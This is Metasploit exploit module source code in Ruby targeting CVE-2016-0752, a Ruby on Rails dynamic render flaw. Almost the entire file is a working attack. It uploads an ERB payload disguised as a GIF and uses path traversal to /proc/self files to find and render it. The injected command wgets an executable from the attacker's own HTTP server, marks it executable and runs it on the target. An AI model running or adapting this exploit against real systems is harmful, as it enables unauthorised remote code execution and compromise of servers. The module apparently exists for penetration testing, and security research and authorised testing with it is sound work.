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require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the explicit render
method when leveraging user parameters.
This module has been tested across multiple versions of Ruby on Rails.
The technique used by this module requires the specified
endpoint to be using dynamic render paths, such as the following example:
def show
render params[:id]
end
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
can literally be any endpoint. This module doesnt use the log inclusion method of
exploitation due to it not being universal enough. Instead, a new code injection
technique was found and used whereby an attacker can upload temporary image files
against any POST endpoint and use them for the inclusion attack. Finally, you only
get one shot at this if you are testing with the builtin rails server, use caution.
},
'Author' =>
[
'mr_me <mr_me@offensive-security.com>', # necromanced old bug & discovered new vector rce vector
'John Poulin (forced-request)' # original render bug finder
],
'References' =>
[
[ 'CVE', '2016-0752'],
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch
[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit
],
'License' => MSF_LICENSE,
'Platform' => ['linux', 'bsd'],
'Arch' => ARCH_X86,
'Payload' =>
{
'DisableNops' => true,
},
'Privileged' => false,
'Targets' =>
[
[ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2016'))
register_options(
[
Opt::RPORT(3000),
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
], self.class)
end
def check
# this is the check for the dev environment
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], "%2f"),
'method' => 'GET',
}, 60)
# if the page controller is dynamically rendering, its for sure vuln
if res and res.body =~ /render params/
return CheckCode::Vulnerable
end
# this is the check for the prod environment
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
'method' => 'GET',
}, 60)
# if we can read files, its likley we can execute code
if res and res.body =~ /ruby/
return CheckCode::Appears
end
return CheckCode::Safe
end
def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
def send_payload
@bd = rand_text_alpha(8+rand(8))
fn = rand_text_alpha(8+rand(8))
un = rand_text_alpha(8+rand(8))
pn = rand_text_alpha(8+rand(8))
register_file_for_cleanup("/tmp/#{@bd}")
cmd = "wget #{@service_url} -O /tmp/#{@bd};"
cmd << "chmod 755 /tmp/#{@bd};"
cmd << "/tmp/#{@bd}"
pay = "<%=`#{cmd}`%>"
print_status("uploading image...")
data = Rex::MIME::Message.new
data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
res = send_request_cgi({
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(datastore['URIPATH'], pn),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/
return true
else
# this is where we pull the log file
if leak_log
return true
end
end
return false
end
def leak_log
# path to the log /proc/self/fd/7
# this bypasses the extension check
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
'method' => 'GET',
}, 60)
if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
return true
end
return false
end
def start_http_server
@pl = generate_payload_exe
@elf_sent = false
downfile = rand_text_alpha(8+rand(8))
resource_uri = '/' + downfile
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
service_url_payload = srv_host + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
connect
end
def render_tmpfile
@path.gsub!(/\//, '%2f')
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], @path),
'method' => 'GET',
}, 1)
end
def exploit
print_status("Sending initial request to detect exploitability")
start_http_server
if send_payload
print_good("injected payload")
render_tmpfile
# we need to delay, for the stager
select(nil, nil, nil, 5)
end
end
end
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